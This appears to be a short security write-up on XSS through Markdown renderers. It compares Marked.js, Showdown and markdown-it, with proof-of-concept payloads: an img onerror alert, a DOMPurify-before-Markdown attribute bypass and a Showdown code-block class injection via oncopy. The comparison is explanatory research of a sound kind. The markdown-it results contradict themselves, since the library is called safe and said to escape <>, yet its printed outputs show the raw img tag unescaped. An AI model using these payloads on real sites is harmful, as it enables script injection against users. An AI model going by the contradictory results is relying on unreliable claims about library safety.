Markdown XSS
Parsing and rendering Markdown into HTML can cause XSS vulnerabilities if the output is not sanitized.
No sanitization
Marked.js: 💀(Vulnerable)
marked.parse(`<img src=x onerror=alert(1)>`);
// '<img src=x onerror=alert(1)>'
Showdown: 💀(Vulnerable)
(new showdown.Converter()).makeHtml(`<img src=x onerror=alert(1)>`)
//'<p><img src=x onerror=alert(1)></p>'
markdown-it: 🆗
md.render(`<img src=x onerror=alert(1)>`)
// '<p><img src=x onerror=alert(1)></p>\n'
With DOMPurify
Marked.js: 💀(Vulnerable)
marked.parse(DOMPurify.sanitize(`<a title="a
<img src=x onerror=alert(1)>">some text</a>`))
// '<p><a title="a</p>\n<p><img src=x onerror=alert(1)>">some text</a></p>\n'
DOMPurify parses the <a title="a
as the start of an attribute that extends to the end of the tag, while marked
escapes the quote, parsing the img
as a tag.
showdown: 💀(Vulnerable)
(new showdown.Converter()).makeHtml(DOMPurify.sanitize(`<a title="a
<img src=x onerror=alert(1)>">some text</a>`))
// '<p><a title="a</p>\n<p><img src=x onerror=alert(1)>">some text</a></p>'
Similarly to marked
, showdown
is also vulnerable to this attack. However, the "
is not escaped, which is particularly interesting.
markdown-it: 🆗
md.render(DOMPurify.sanitize(`<a title="a
<img src=x onerror=alert(1)>">some text</a>`))
// '<p><a title="a</p>\n<p><img src=x onerror=alert(1)>">some text</a></p>\n'
As in the unsanitized case, markdown-it
escapes all special characters including <>
so it is not vulnerable to this attack.
With DOMPurify: code blocks attack
showdown: 🤔 Maybe vulnerable?
(new showdown.Converter()).makeHtml(DOMPurify.sanitize("```js\"oncopy=alert()\nsus\n```"))
//'<pre><code class="js"oncopy=alert() language-js"oncopy=alert()">sus\n</code></pre>'
When rendering codeblocks, language can be specified. The specified language is injected into the class
of the generated code
tag. This allows us to specify a "
to terminate the class
attribute and inject arbitrary code into the code
tag. While this does not immediately lead to XSS, we can leverage events such as oncopy
to trigger XSS on user action.
markdown-it and marked: 🆗 These libraries are not vulnerable as they escape "
.